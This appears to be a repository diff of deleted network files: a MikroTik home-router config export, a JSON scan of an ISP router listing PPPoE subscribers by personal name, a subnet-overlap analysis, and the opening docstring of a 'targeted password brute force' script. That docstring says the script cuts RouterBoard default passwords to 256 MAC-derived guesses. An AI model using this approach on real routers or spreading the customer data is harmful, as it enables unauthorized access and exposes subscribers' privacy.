add address=10.0.19.225 client-id=1:2c:cf:67:d:b9:4c mac-address=\
2C:CF:67:0D:B9:4C server=server1
add address=10.0.18.4 client-id=1:48:da:35:6f:86:a3 comment=nanokvm \
mac-address=48:DA:35:6F:86:A3 server=server1
add address=10.0.18.228 client-id=1:e0:63:da:0:70:89 mac-address=\
E0:63:DA:00:70:89 server=server1
add address=10.0.17.189 client-id=1:c4:e7:ae:17:6d:d3 mac-address=\
C4:E7:AE:17:6D:D3 server=server1
add address=10.0.15.1 client-id=1:bc:24:11:9b:48:92 mac-address=\
BC:24:11:9B:48:92 server=servers
add address=10.0.15.2 client-id=1:bc:24:11:62:7b:3f mac-address=\
BC:24:11:62:7B:3F server=servers
add address=10.0.15.3 client-id=1:bc:24:11:d4:2f:ed mac-address=\
BC:24:11:D4:2F:ED server=servers
add address=10.0.15.4 client-id=1:bc:24:11:43:3f:ff mac-address=\
BC:24:11:43:3F:FF server=servers
add address=10.0.15.5 client-id=1:bc:24:11:62:c4:8f mac-address=\
BC:24:11:62:C4:8F server=servers
add address=10.0.15.6 client-id=1:bc:24:11:3f:8e:1a mac-address=\
BC:24:11:3F:8E:1A server=servers
add address=10.0.15.20 client-id=1:2c:cf:67:d:b9:4c mac-address=\
2C:CF:67:0D:B9:4C server=servers
add address=10.0.15.253 client-id=1:78:9a:18:3f:cb:fe mac-address=\
78:9A:18:3F:CB:FE server=servers
add address=10.0.19.241 client-id=1:f4:92:bf:91:8a:61 mac-address=\
F4:92:BF:91:8A:61 server=server1
add address=10.0.15.21 mac-address=BC:24:11:98:1C:19 server=servers
add address=10.0.17.185 client-id=1:74:4d:bd:c5:87:cc mac-address=\
74:4D:BD:C5:87:CC server=server1
add address=10.0.17.17 client-id=1:f0:24:f9:55:b8:94 mac-address=\
F0:24:F9:55:B8:94 server=server1
add address=10.0.17.184 mac-address=50:02:91:38:EB:98 server=server1
add address=10.0.16.3 client-id=1:52:54:0:5c:f7:36 mac-address=\
52:54:00:5C:F7:36 server=server1
add address=10.0.17.25 client-id=1:20:f8:3b:9:49:cd mac-address=\
20:F8:3B:09:49:CD server=server1
add address=10.0.17.51 mac-address=40:F5:20:C5:9B:EE server=server1
add address=10.0.16.5 client-id=\
ff:ef:a8:c2:c6:0:1:0:1:31:4c:1f:7:b0:dc:ef:a8:c2:c6 mac-address=\
B0:DC:EF:A8:C2:C6 server=server1
add address=10.0.17.22 mac-address=EC:94:CB:AA:56:A3 server=server1
add address=10.0.15.23 client-id=1:36:4a:9d:b7:36:fc mac-address=\
36:4A:9D:B7:36:FC server=servers
add address=10.0.15.24 client-id=\
ff:23:7c:24:3e:0:2:0:0:ab:11:ad:b5:e:a0:e1:d9:51:1a mac-address=\
F6:86:CC:17:A7:F9 server=servers
add address=10.0.17.42 mac-address=34:AB:95:12:8B:DB server=server1
/ip dhcp-server network
add address=10.0.8.0/21 domain=mcintire.me gateway=10.0.15.254
add address=10.0.16.0/22 dns-server=10.0.19.250,9.9.9.9 domain=w5isp.com \
gateway=10.0.19.254
/ip dns
set servers=9.9.9.9,149.112.112.112
/ip dns static
add address=192.168.88.1 comment=defconf name=router.lan type=A
add address=10.0.16.31 comment=dhcp-lease-script_server1_lease-hostname name=\
Lutron-01f3a316.w5isp.com ttl=15m type=A
add address=10.0.16.31 comment=dhcp-lease-script_server1_lease-hostname name=\
Lutron-01f3a316 ttl=15m type=A
add address=10.0.16.3 comment=dhcp-lease-script_server1_lease-hostname name=\
homeassistant.w5isp.com ttl=15m type=A
add address=10.0.16.3 comment=dhcp-lease-script_server1_lease-hostname name=\
homeassistant ttl=15m type=A
add address=10.0.16.1 comment=dhcp-lease-script_server1_lease-hostname name=\
Tower.w5isp.com ttl=15m type=A
add address=10.0.16.1 comment=dhcp-lease-script_server1_lease-hostname name=\
Tower ttl=15m type=A
add address=10.0.16.252 comment=dhcp-lease-script_server1_lease-hostname \
name=10g-switch-house.w5isp.com ttl=15m type=A
add address=10.0.16.252 comment=dhcp-lease-script_server1_lease-hostname \
name=10g-switch-house ttl=15m type=A
add address=10.0.16.41 comment=dhcp-lease-script_server1_lease-hostname name=\
Living-Room.w5isp.com ttl=15m type=A
add address=10.0.16.41 comment=dhcp-lease-script_server1_lease-hostname name=\
Living-Room ttl=15m type=A
add address=10.0.16.253 comment=dhcp-lease-script_server1_lease-hostname \
name="Office 2.5G Switch.w5isp.com" ttl=15m type=A
add address=10.0.16.253 comment=dhcp-lease-script_server1_lease-hostname \
name="Office 2.5G Switch" ttl=15m type=A
add address=10.0.16.36 comment=dhcp-lease-script_server1_lease-hostname name=\
HallwayAP.w5isp.com ttl=15m type=A
add address=10.0.16.38 comment=dhcp-lease-script_server1_lease-hostname name=\
LivingRoom.w5isp.com ttl=15m type=A
add address=10.0.16.36 comment=dhcp-lease-script_server1_lease-hostname name=\
HallwayAP ttl=15m type=A
add address=10.0.16.38 comment=dhcp-lease-script_server1_lease-hostname name=\
LivingRoom ttl=15m type=A
add address=10.0.16.86 comment=dhcp-lease-script_server1_lease-hostname name=\
OutsideNE.w5isp.com ttl=15m type=A
add address=10.0.16.86 comment=dhcp-lease-script_server1_lease-hostname name=\
OutsideNE ttl=15m type=A
add address=10.0.16.43 comment=dhcp-lease-script_server1_lease-hostname name=\
HousePoESwitch.w5isp.com ttl=15m type=A
add address=10.0.16.43 comment=dhcp-lease-script_server1_lease-hostname name=\
HousePoESwitch ttl=15m type=A
add address=10.0.16.56 comment=dhcp-lease-script_server1_lease-hostname name=\
driveway.w5isp.com ttl=15m type=A
add address=10.0.16.56 comment=dhcp-lease-script_server1_lease-hostname name=\
driveway ttl=15m type=A
add address=10.0.16.44 comment=dhcp-lease-script_server1_lease-hostname name=\
Garins-MBP.w5isp.com ttl=15m type=A
add address=10.0.16.44 comment=dhcp-lease-script_server1_lease-hostname name=\
Garins-MBP ttl=15m type=A
add address=10.0.16.64 comment=dhcp-lease-script_server1_lease-hostname name=\
Apple-Watch.w5isp.com ttl=15m type=A
add address=10.0.16.64 comment=dhcp-lease-script_server1_lease-hostname name=\
Apple-Watch ttl=15m type=A
add address=10.0.16.37 comment=dhcp-lease-script_server1_lease-hostname name=\
gmcparallels.w5isp.com ttl=15m type=A
add address=10.0.16.37 comment=dhcp-lease-script_server1_lease-hostname name=\
gmcparallels ttl=15m type=A
add address=10.0.16.33 comment=dhcp-lease-script_server1_lease-hostname name=\
mbp14.w5isp.com ttl=15m type=A
add address=10.0.16.33 comment=dhcp-lease-script_server1_lease-hostname name=\
mbp14 ttl=15m type=A
add address=10.0.16.30 comment=dhcp-lease-script_server1_lease-hostname name=\
Office.w5isp.com ttl=15m type=A
add address=10.0.16.30 comment=dhcp-lease-script_server1_lease-hostname name=\
Office ttl=15m type=A
add address=10.0.16.49 comment=dhcp-lease-script_server1_lease-hostname name=\
openspot2.w5isp.com ttl=15m type=A
add address=10.0.16.49 comment=dhcp-lease-script_server1_lease-hostname name=\
openspot2 ttl=15m type=A
/ip firewall address-list
add address=10.0.16.0/22 list=local
add address=185.90.196.0/22 list=starlink
add address=10.0.16.78 disabled=yes list=iot-blocked
add address=10.0.16.80 disabled=yes list=iot-blocked
add address=81.171.92.0/23 list=nzb
add address=82.68.15.22 list=nzb
add address=85.12.62.0/24 list=nzb
add address=10.0.17.189 list=iot-blocked
add address=news.eweka.nl list=eweka-tmo
add address=185.90.196.0/22 comment="eweka range" list=eweka-tmo
add address=81.171.92.0/23 comment="eweka range" list=eweka-tmo
/ip firewall filter
add action=accept chain=input dst-address=0.0.0.0 protocol=udp src-address=\
104.238.146.79
add action=accept chain=forward dst-port=25565 in-interface=\
ether5-vntx-static log=yes protocol=tcp
add action=accept chain=forward dst-port=25565 in-interface=\
ether5-vntx-static log=yes protocol=udp
add action=drop chain=forward out-interface=ether5-vntx-static \
src-address-list=iot-blocked
add action=drop chain=forward out-interface=ether6-tmobile src-address-list=\
iot-blocked
add action=drop chain=forward out-interface=all-ppp src-address-list=\
iot-blocked
add action=drop chain=forward out-interface=ether7-starlink src-address-list=\
iot-blocked
add action=accept chain=input comment=\
"defconf: accept established,related,untracked" connection-state=\
established,related,untracked
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
invalid
add action=reject chain=forward comment="Block roblox.com" disabled=yes \
protocol=tcp reject-with=icmp-host-unreachable src-address-list=local \
tls-host=*.roblox.com
add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp
add action=accept chain=input comment=\
"defconf: accept to local loopback (for CAPsMAN)" dst-address=127.0.0.1
add action=drop chain=input comment="defconf: drop all not coming from LAN" \
in-interface-list=!LAN
add action=accept chain=forward comment="defconf: accept in ipsec policy" \
ipsec-policy=in,ipsec
add action=accept chain=forward comment="defconf: accept out ipsec policy" \
ipsec-policy=out,ipsec
add action=accept chain=forward comment="no fasttrack for eweka" \
connection-mark=eweka-conn
add action=fasttrack-connection chain=forward comment="defconf: fasttrack" \
connection-state=established,related
add action=accept chain=forward comment=\
"defconf: accept established,related, untracked" connection-state=\
established,related,untracked
add action=drop chain=forward comment="defconf: drop invalid" \
connection-state=invalid
add action=drop chain=forward comment=\
"defconf: drop all from WAN not DSTNATed" connection-nat-state=!dstnat \
connection-state=new in-interface-list=WAN
add action=drop chain=input disabled=yes dst-port=53 in-interface=ether8 \
protocol=udp src-address=!10.0.16.0/22
/ip firewall mangle
add action=change-mss chain=forward comment="MSS clamp VNTX" new-mss=1400 \
out-interface=ether5-vntx-static protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp VNTX inbound" \
in-interface=ether5-vntx-static new-mss=1400 protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp TMO out" new-mss=1460 \
out-interface=ether6-tmobile protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp TMO in" in-interface=\
ether6-tmobile new-mss=1460 protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp Starlink out" new-mss=\
1460 out-interface=ether7-starlink protocol=tcp tcp-flags=syn
add action=change-mss chain=forward comment="MSS clamp Starlink in" \
in-interface=ether7-starlink new-mss=1460 protocol=tcp tcp-flags=syn
add action=mark-connection chain=prerouting comment="eweka -> tmo (conn)" \
dst-address-list=eweka-tmo new-connection-mark=eweka-conn
add action=mark-routing chain=prerouting comment="eweka -> tmo (route)" \
connection-mark=eweka-conn new-routing-mark=tmo passthrough=no
/ip firewall nat
add action=src-nat chain=srcnat connection-mark=plex-out disabled=yes \
out-interface=*14 src-address=10.0.16.1 to-addresses=204.110.191.1
add action=src-nat chain=srcnat disabled=yes src-address=10.0.16.5 \
to-addresses=204.110.191.1
add action=src-nat chain=srcnat out-interface=ether5-vntx-static src-address=\
10.0.16.1 to-addresses=204.110.191.1
add action=masquerade chain=srcnat disabled=yes out-interface=all-ppp \
src-address=10.0.16.0/22
add action=masquerade chain=srcnat out-interface=ether6-tmobile \
src-address-list=!iot-blocked
add action=masquerade chain=srcnat out-interface=ether5-vntx-static \
to-addresses=204.110.191.1
add action=dst-nat chain=dstnat comment=channels dst-address=204.110.191.1 \
dst-port=8089 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
10.0.16.1 to-ports=8089
add action=dst-nat chain=dstnat comment=plex dst-address=204.110.191.1 \
dst-port=32400 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
10.0.16.1 to-ports=32400
add action=dst-nat chain=dstnat comment=plex dst-address=204.110.191.1 \
dst-port=58732 in-interface=ether5-vntx-static protocol=tcp to-addresses=\
10.0.16.184 to-ports=58732
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=8096 in-interface=*14 protocol=tcp to-addresses=10.0.16.1 \
to-ports=8096
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=25565 in-interface=ether5-vntx-static log=yes protocol=tcp \
to-addresses=10.0.16.1 to-ports=25565
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=25565 in-interface=ether5-vntx-static log=yes protocol=udp \
to-addresses=10.0.16.1 to-ports=25565
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=8920 in-interface=*14 protocol=tcp to-addresses=10.0.16.1 \
to-ports=8920
add action=masquerade chain=srcnat disabled=yes src-address=172.17.0.0/24
add action=dst-nat chain=dstnat disabled=yes dst-address=10.0.19.254 \
dst-port=8080 protocol=tcp to-addresses=172.17.0.2 to-ports=80
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=51413 protocol=tcp to-addresses=10.0.16.1 to-ports=51413
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=51413 protocol=udp to-addresses=10.0.16.1 to-ports=51413
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=8096 protocol=tcp to-addresses=10.0.16.1 to-ports=8096
add action=dst-nat chain=dstnat disabled=yes dst-address=204.110.191.1 \
dst-port=8920 protocol=tcp to-addresses=10.0.16.1 to-ports=8920
add action=masquerade chain=srcnat src-address=172.17.0.0/24
add action=masquerade chain=srcnat out-interface=ether7-starlink
/ip proxy
set port=8198 src-address=10.0.19.254
/ip route
add disabled=yes distance=1 dst-address=100.64.0.0/10 gateway=172.17.0.2 \
pref-src="" routing-table=main scope=30 target-scope=10
add comment="eweka > starlink" disabled=yes distance=1 dst-address=\
185.90.196.0/22 gateway=192.168.1.1 pref-src="" routing-table=main scope=\
30 target-scope=10
add comment="eweka > tmo" disabled=yes distance=1 dst-address=81.171.92.0/23 \
gateway=192.168.12.1 pref-src="" routing-table=main scope=30 \
target-scope=10
add comment="newshosting > tmo" disabled=no distance=1 dst-address=\
85.12.62.0/24 gateway=192.168.12.1 pref-src="" routing-table=main scope=\
30 target-scope=10
add comment="eweka > tmo" disabled=yes distance=1 dst-address=185.90.196.0/22 \
gateway=192.168.12.1 pref-src="" routing-table=main scope=30 \
target-scope=10
add disabled=no distance=1 dst-address=10.0.0.0/8 gateway=204.110.191.30 \
pref-src="" routing-table=main scope=30 target-scope=10
add disabled=yes distance=1 dst-address=204.110.188.0/22 gateway=\
204.110.191.30 routing-table=main scope=30 target-scope=10
add disabled=yes distance=1 dst-address=10.0.0.0/8 gateway=204.110.191.30 \
routing-table=main scope=30 target-scope=10
add disabled=yes distance=1 dst-address=82.68.15.22/32 gateway=204.110.191.30 \
routing-table=main scope=30 target-scope=10
add disabled=yes distance=1 dst-address=34.174.59.248/32 gateway=\
204.110.191.30 routing-table=main scope=30 target-scope=10
add disabled=no dst-address=204.110.188.0/22 gateway=204.110.191.30 \
routing-table=main
add disabled=no dst-address=100.64.0.0/16 gateway=204.110.191.30 \
routing-table=main
add disabled=no dst-address=10.43.0.0/16 gateway=204.110.191.2 routing-table=\
main
add comment=wigle.net disabled=no distance=1 dst-address=54.70.85.50/32 \
gateway=204.110.191.30 routing-table=main scope=30 target-scope=10
add dst-address=100.64.0.0/10 gateway=172.17.0.2
add check-gateway=ping comment="TMO internet probe" dst-address=4.2.2.1/32 \
gateway=192.168.12.1 scope=10
add check-gateway=ping comment="VNTX internet probe" dst-address=4.2.2.2/32 \
gateway=204.110.191.30 scope=10
add check-gateway=ping comment="Starlink internet probe" dst-address=\
4.2.2.3/32 gateway=192.168.1.1 scope=10
add comment="Default via TMO (primary)" distance=1 dst-address=0.0.0.0/0 \
gateway=4.2.2.1 target-scope=11
add comment="Default via VNTX (secondary)" distance=2 dst-address=0.0.0.0/0 \
gateway=4.2.2.2 target-scope=11
add comment="Default via Starlink (last resort)" distance=3 dst-address=\
0.0.0.0/0 gateway=4.2.2.3 target-scope=11
add comment="tmo table default" dst-address=0.0.0.0/0 gateway=192.168.12.1 \
routing-table=tmo
/ipv6 route
add distance=1 dst-address=2000::/3 gateway=2001:470:1f0e:299::1
/ip service
set ftp disabled=yes
set telnet disabled=yes
set www address=10.0.16.0/24 port=1080
set api disabled=yes
set api-ssl address=10.0.16.0/22 certificate=api-ssl-cert
/ip smb shares
set [ find default=yes ] disabled=no
/ip upnp
set enabled=yes
/ip upnp interfaces
add disabled=yes interface=ether6-tmobile type=external
add interface=*14 type=external
add interface=bridge type=internal
/ipv6 address
add address=2001:470:1f0e:299::2 advertise=no disabled=yes interface=*10
add address=2001:470:ba50::/48 advertise=no disabled=yes interface=bridge
add address=2001:470:1f0f:29a:: disabled=yes interface=bridge
/ipv6 dhcp-client
add disabled=yes interface=ether6-tmobile pool-name=tmo pool-prefix-length=64 \
request=address
add interface=ether7-starlink pool-name=starlink pool-prefix-length=64 \
request=address,prefix
/ipv6 nd
set [ find default=yes ] advertise-dns=yes
/routing rule
add action=lookup-only-in-table disabled=no dst-address=0.0.0.0/0 \
src-address=10.0.16.1 table=*400
/snmp
set contact="Graham McIntire" enabled=yes location=Verona
/system clock
set time-zone-name=America/Chicago
/system identity
set name=graham
/system ntp client
set enabled=yes
/system ntp client servers
add address=ntp.vntx.net
/system routerboard settings
set auto-upgrade=yes
/tool e-mail
set certificate-verification=no from=mikrotik@vntx.net port=2525 server=\
mail.smtp2go.com tls=yes user=vntxmikrotik
/tool graphing interface
add allow-address=10.0.16.0/24
/tool graphing queue
add allow-address=10.0.16.0/24
/tool graphing resource
add allow-address=10.0.16.0/24
/tool mac-server
set allowed-interface-list=LAN
/tool mac-server mac-winbox
set allowed-interface-list=LAN

View file

@ -1,518 +0,0 @@
{
"host": "10.254.254.109",
"identity": null,
"timestamp": "2025-10-04T11:01:53.314352",
"subnets": [
{
"address": "10.254.254.109/32",
"network": "10.254.254.109",
"interface": "loopback",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.105/29",
"network": "10.250.1.104",
"interface": "ether1-newhope",
"comment": "",
"dynamic": false
},
{
"address": "10.10.159.254/20",
"network": "10.10.144.0",
"interface": "management",
"comment": "",
"dynamic": false
},
{
"address": "204.110.188.222/27",
"network": "204.110.188.192",
"interface": "lowrycrossing",
"comment": "",
"dynamic": false
},
{
"address": "10.250.1.201/29",
"network": "10.250.1.200",
"interface": "vlan_30_sfpplus1_380",
"comment": "",
"dynamic": false
},
{
"address": "100.64.159.254/20",
"network": "100.64.144.0",
"interface": "lowrycrossing",
"comment": "",
"dynamic": false
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.202",
"interface": "<pppoe-coyungemach>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.117",
"interface": "<pppoe-jenniferdunaway>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.122",
"interface": "<pppoe-williambowland>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.114",
"interface": "<pppoe-fredheckel>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.123",
"interface": "<pppoe-timfisher>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.111",
"interface": "<pppoe-dorisavalos>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.118",
"interface": "<pppoe-toniyoung>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.127",
"interface": "<pppoe-konradwoelffer>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.197",
"interface": "<pppoe-elizabethchristian>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.120",
"interface": "<pppoe-cynthiasandlin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.119",
"interface": "<pppoe-thomasgraham>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.200",
"interface": "<pppoe-ronberger>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.125",
"interface": "<pppoe-abbieandrews>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.126",
"interface": "<pppoe-helenlumpkin>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.116",
"interface": "<pppoe-susanlewis>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.121",
"interface": "<pppoe-lanaygaunce>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.196",
"interface": "<pppoe-janiscable>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.115",
"interface": "<pppoe-nhumorrison>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.124",
"interface": "<pppoe-terrymiesen>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.107",
"interface": "<pppoe-nicholasterry>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "204.110.188.199",
"interface": "<pppoe-leonardlewis>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.113",
"interface": "<pppoe-mattbud>",
"comment": "",
"dynamic": true
},
{
"address": "100.64.159.254/32",
"network": "100.64.158.112",
"interface": "<pppoe-georginacovarrubias>",
"comment": "",
"dynamic": true
}
],
"interfaces": [
{
"name": "ether1-newhope",
"type": "ether",
"mac": "64:D1:54:D3:E2:21",
"comment": "",
"mtu": 1500
},
{
"name": "ether2 Lowry N",
"type": "ether",
"mac": "64:D1:54:D3:E2:22",
"comment": "",
"mtu": 1500
},
{
"name": "ether3",
"type": "ether",
"mac": "64:D1:54:D3:E2:23",
"comment": "",
"mtu": 1500
},
{
"name": "ether4",
"type": "ether",
"mac": "64:D1:54:D3:E2:24",
"comment": "",
"mtu": 1500
},
{
"name": "ether5",
"type": "ether",
"mac": "64:D1:54:D3:E2:25",
"comment": "",
"mtu": 1500
},
{
"name": "<pppoe-abbieandrews>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-coyungemach>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-cynthiasandlin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-dorisavalos>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-elizabethchristian>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-fredheckel>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-georginacovarrubias>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-helenlumpkin>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-janiscable>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-jenniferdunaway>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-konradwoelffer>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-lanaygaunce>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-leonardlewis>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-mattbud>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-nhumorrison>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-nicholasterry>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-ronberger>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-susanlewis>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-terrymiesen>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-thomasgraham>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "<pppoe-timfisher>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-toniyoung>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1492
},
{
"name": "<pppoe-williambowland>",
"type": "pppoe-in",
"mac": "N/A",
"comment": "",
"mtu": 1480
},
{
"name": "lo",
"type": "loopback",
"mac": "00:00:00:00:00:00",
"comment": "",
"mtu": 65536
},
{
"name": "loopback",
"type": "bridge",
"mac": "FA:36:F1:03:59:3F",
"comment": "",
"mtu": 1500
},
{
"name": "lowrycrossing",
"type": "bridge",
"mac": "64:D1:54:D3:E2:1F",
"comment": "",
"mtu": 1500
},
{
"name": "management",
"type": "bridge",
"mac": "64:D1:54:D3:E2:1F",
"comment": "",
"mtu": "auto"
},
{
"name": "vlan_10_ether2",
"type": "vlan",
"mac": "64:D1:54:D3:E2:22",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_10_ether3",
"type": "vlan",
"mac": "64:D1:54:D3:E2:23",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_10_ether4",
"type": "vlan",
"mac": "64:D1:54:D3:E2:24",
"comment": "",
"mtu": 1500
},
{
"name": "vlan_10_ether5",
"type": "vlan",
"mac": "64:D1:54:D3:E2:25",
"comment": "",
"mtu": 1500
}
],
"vlans": [
{
"name": "vlan_10_ether2",
"vlan_id": 10,
"interface": "ether2 Lowry N"
},
{
"name": "vlan_10_ether3",
"vlan_id": 10,
"interface": "ether3"
},
{
"name": "vlan_10_ether4",
"vlan_id": 10,
"interface": "ether4"
},
{
"name": "vlan_10_ether5",
"vlan_id": 10,
"interface": "ether5"
},
{
"name": "vlan_10_ether6",
"vlan_id": 10,
"interface": "ether6"
},
{
"name": "vlan_10_ether7",
"vlan_id": 10,
"interface": "ether7"
},
{
"name": "vlan_10_sfpplus1",
"vlan_id": 10,
"interface": "sfp-sfpplus1"
},
{
"name": "vlan_20_sfpplus1_newhope",
"vlan_id": 20,
"interface": "sfp-sfpplus1"
},
{
"name": "vlan_30_sfpplus1_380",
"vlan_id": 30,
"interface": "sfp-sfpplus1"
}
],
"pppoe_servers": [
{
"service_name": "lowrycrossing",
"interface": "lowrycrossing"
}
],
"routes": []
}

View file

@ -1,82 +0,0 @@
# Management Subnet Overlap Analysis
## Summary of Management Subnets by Site
### 1. **Climax** (10.254.254.102)
- **Management Subnet**: 10.10.31.254/20
- **Network**: 10.10.16.0/20
- **IP Range**: 10.10.16.0 - 10.10.31.255
- **Interface**: mgmt
### 2. **Culleoka** (10.254.254.104)
- **Management Subnet**: 10.10.111.254/20
- **Network**: 10.10.96.0/20
- **IP Range**: 10.10.96.0 - 10.10.111.255
- **Interface**: vlan10_ether2
### 3. **494 Site** (10.254.254.111)
- **Management Subnet**: 10.10.175.254/20
- **Network**: 10.10.160.0/20
- **IP Range**: 10.10.160.0 - 10.10.175.255
- **Interface**: management
### 4. **982 Site** (10.254.254.110)
- **Management Subnet**: 10.10.63.254/20
- **Network**: 10.10.48.0/20
- **IP Range**: 10.10.48.0 - 10.10.63.255
- **Interface**: mgmt
### 5. **New Hope** (10.254.254.108)
- **Management Subnet**: 10.10.143.254/20
- **Network**: 10.10.128.0/20
- **IP Range**: 10.10.128.0 - 10.10.143.255
- **Interface**: bridge_cpe_mgmt
### 6. **Lowry Crossing** (10.254.254.109)
- **Management Subnet**: 10.10.159.254/20
- **Network**: 10.10.144.0/20
- **IP Range**: 10.10.144.0 - 10.10.159.255
- **Interface**: management
### 7. **380 Core** (10.254.254.253)
- **Management Subnet**: 10.10.79.254/20
- **Network**: 10.10.64.0/20
- **IP Range**: 10.10.64.0 - 10.10.79.255
- **Interface**: vlan10_combo1
### 8. **380 Edge** (10.254.254.254)
- **No management subnet in the 10.10.x.x range**
## Overlap Analysis
### ✅ **NO OVERLAPS DETECTED**
All sites use different /20 management subnets within the 10.10.0.0/16 range:
1. **10.10.16.0/20** - Climax
2. **10.10.48.0/20** - 982 Site
3. **10.10.64.0/20** - 380 Core
4. **10.10.96.0/20** - Culleoka
5. **10.10.128.0/20** - New Hope
6. **10.10.144.0/20** - Lowry Crossing
7. **10.10.160.0/20** - 494 Site
## Key Observations
1. **Consistent Subnet Size**: All management networks use /20 subnets (4,096 addresses each)
2. **Sequential Allocation**: The subnets appear to be allocated sequentially within the 10.10.0.0/16 space
3. **Common VLAN**: Most sites use VLAN 10 for management traffic
4. **No Conflicts**: Each site has its own unique management subnet with no overlaps
## Available Management Subnets
The following /20 subnets within 10.10.0.0/16 are still available for future sites:
- 10.10.0.0/20 (10.10.0.0 - 10.10.15.255)
- 10.10.32.0/20 (10.10.32.0 - 10.10.47.255)
- 10.10.80.0/20 (10.10.80.0 - 10.10.95.255)
- 10.10.112.0/20 (10.10.112.0 - 10.10.127.255)
- 10.10.176.0/20 (10.10.176.0 - 10.10.191.255)
- 10.10.192.0/20 (10.10.192.0 - 10.10.207.255)
- 10.10.208.0/20 (10.10.208.0 - 10.10.223.255)
- 10.10.224.0/20 (10.10.224.0 - 10.10.239.255)
- 10.10.240.0/20 (10.10.240.0 - 10.10.255.255)

View file

@ -1,248 +0,0 @@
"""
MikroTik RouterBoard Targeted Password Brute Force
Based on reverse engineered algorithm analysis:
- Only tries 256 possible passwords (one per MAC[0] value)
- Assumes 0xD0 and 0xFF are fixed constants
- Uses actual MAC address bytes for MAC[1], MAC[2], MAC[3]
